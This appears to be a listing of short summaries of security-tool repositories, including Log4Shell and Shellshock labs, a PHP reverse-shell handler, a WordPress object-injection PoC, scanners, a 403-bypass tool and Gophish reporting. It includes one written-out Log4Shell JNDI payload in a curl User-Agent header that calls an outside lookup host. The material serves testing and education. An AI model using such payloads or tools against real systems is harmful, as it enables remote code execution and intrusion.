Pyison

Pyison Pyison is a tarpit for AI webcrawlers Introduction Like all web crawlers, AI bots request pages from webservers, and then follow links on the page to other pages. By doing this, they can build an index of an entire website. Unlike other web crawlers, though, AI bots present some unique...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator About This tool allows you to verify whether a simple Java web app is vulnerable to CVE-2021-44228 for a user provided version of Java and of Log4J. You can also optionally apply one of a view pre-defined mitigations. The simulation lab spun up by...

useragent

useragent A comprehensive and categorized collection of User Agents. Installation Instructions To install the useragent tool, use the following command: go install -v github.com/projectdiscovery/useragent/cmd/ua@latest Usage To display help for the tool, use the following command: ua -h This will...

CVE-2026-54806

WP Activity Log PHP Object Injection CVE-2026-54806 PoC 📜 Description CVE-2026-54806 is a critical CVSS 9.8 unauthenticated PHP Object Injection vulnerability in the WP Activity Log WordPress plugin wp-security-audit-log by Melapress. An unauthenticated attacker can inject serialized PHP objects...

webhandler

WebHandler A handler for PHP system functions & also an alternative 'netcat' handler Info WebHandler tries to simulate a 'Linux bash prompt' to handle and process: - PHP program execution functions e.g. system, passthru, exec, etc - Bind shell connections - Reserve shell connections Another featu...

forbidden

Forbidden Bypass 4xx HTTP response status codes and more. The tool is based on Python Requests, PycURL, and HTTP Client. Tested on Kali Linux v2024.2 64-bit. Made for educational purposes. I hope it will help! Future plans: Add the silent option to suppress console output. Add the no color option...

Egyscan

EgyScan V3.4 "Ultra" : Your Digital Fort of Invincibility 🏰 Greetings, Guardians of the Digital Realm! 🛡️ Prepare to embark on an extraordinary journey with EgyScan V3.0 , the ultimate sentinel that transforms your websites into impregnable fortresses against relentless cyber threats. Let's explor...

br0w

br0w Hack The Br0w | Play your browser and learn more, hack fun !! The Br0w is a simple web to learn about and about web security with a browser as a tool that sometimes people forget about more benefits. Maybe it's more like Capture The Flag CTF. One of the challenges is, disable css and base64...

CVE-2021-42697

Akka HTTP 10.1.x before 10.1.15 and 10.2.x before 10.2.7 can encounter stack exhaustion while parsing HTTP headers, which allows a remote attacker to conduct a Denial of Service attack by sending a User-Agent header with deeply nested comments. References MITRE Akka blog Arbitrary nesting of...

pidrila

PIDRILA Current Release: v0.1.0 2020.11.08 Overview PIDRILA : P ython I nteractive D eepweb-oriented R apid I ntelligent L ink A nalyzer is really fast async web path scanner prototype developed by BrightSearch team for all ethical netstalkers. Installation & Usage git clone...

EUVD-2026-93569

Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server...

gospider

GoSpider GoSpider - Fast web spider written in Go Painless integrate Gospider into your recon workflow? this project was part of Osmedeus Engine. Check out how it was integrated at @OsmedeusEngine Installation GO install GO111MODULE=on go install github.com/jaeles-project/gospider@latest Docker...

hsecscan

hsecscan A security scanner for HTTP response headers. Requirements Python 2.x Python Modules os.path argparse sqlite3 urlparse urllib2 urllib json ssl Install $ pip install hsecscan Usage $ hsecscan usage: hsecscan.py -h -P -p -H Header -u URL -R -i -U User-Agent -D DBFILE -d 'POST data' -x PROX...

vaas-cve-2014-6271

Уязвимость как услуга - CVE 2014-6271 Система Debian Buster Linux с уязвимой версией bash и веб-приложение для демонстрации CVE-2014-6271, также известного как Shellshock. Обзор Этот docker-контейнер основан на Debian Buster и был изменён для использования уязвимой версии Bash bash4.2:2b:dfsg-0.1...

Goreport

Goreport v3.0, a Gophish Reporting Tool This script accepts your Gophish campaign IDs as a parameter and then collects the campaign results to present the statistics and perform user-agent parsing and geolocation lookups for IP addresses. Goreport generates lists of IP addresses, operating system...

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

rbuster

Rbuster yet another dirbuster Common Command line options -a - specify a user agent string to send in the request -c - use this to specify any cookies that you might need simulating auth. header. -f - force processing of a domain with wildcard results. -l - show the length of the response. -r...

CVE-2024-50395

CVE-2024-50395 CVE Info An authorization bypass through user-controlled key vulnerability has been reported to affect Media Streaming add-on. If exploited, the vulnerability could allow local network attackers to gain privilege. We have already fixed the vulnerability in the following version:...

xsssniper

XSSSNIPER xsssniper is an handy xss discovery tool with mass scanning functionalities. Usage: Usage: xsssniper.py options Options: -h, --help show this help message and exit -u URL, --url=URL target URL --post try a post request to target url --data=POSTDATA post data to use --threads=THREADS...

log4shell-demo

Simple Spring Boot application which is vulnerable to Log4Shell CVE-2021-44228 Changed default logging framework from logback to log4j2 Application logs 'User-Agent' header, so one can test vulnerability with curl and e.g. interactsh-service: curl -A '$jndi:ldap://interactsh-url/a'...